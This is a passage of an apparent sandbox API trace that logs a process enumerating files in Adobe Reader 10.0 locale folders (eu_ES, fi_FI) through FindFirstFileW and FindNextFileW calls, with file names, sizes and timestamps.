ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="ADOBEC~1.EUQ")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.EUQ", cAlternateFileName="BRDLAN~1.EUQ")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.EUQ", cAlternateFileName="MAKEAC~1.EUQ")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.EUQ", cAlternateFileName="MULTIM~1.EUQ")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0219.108] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.EUQ", cAlternateFileName="READOU~1.EUQ")) returned 1 [0220.025] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0220.025] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.EUQ", cAlternateFileName="SAVEAS~1.EUQ")) returned 1 [0220.026] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0220.026] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0220.027] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0220.027] GetProcessHeap () returned 0x550000 [0220.027] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0220.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0220.028] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.028] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0220.028] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0220.028] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0220.028] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0220.029] GetProcessHeap () returned 0x550000 [0220.029] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 0 [0220.029] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0220.030] GetProcessHeap () returned 0x550000 [0220.030] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0220.030] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0220.030] GetProcessHeap () returned 0x550000 [0220.030] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0220.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0220.195] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.195] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0220.195] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0220.195] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SUO", cAlternateFileName="ADOBEC~1.SUO")) returned 1 [0220.195] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SUO", cAlternateFileName="BRDLAN~1.SUO")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0220.196] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 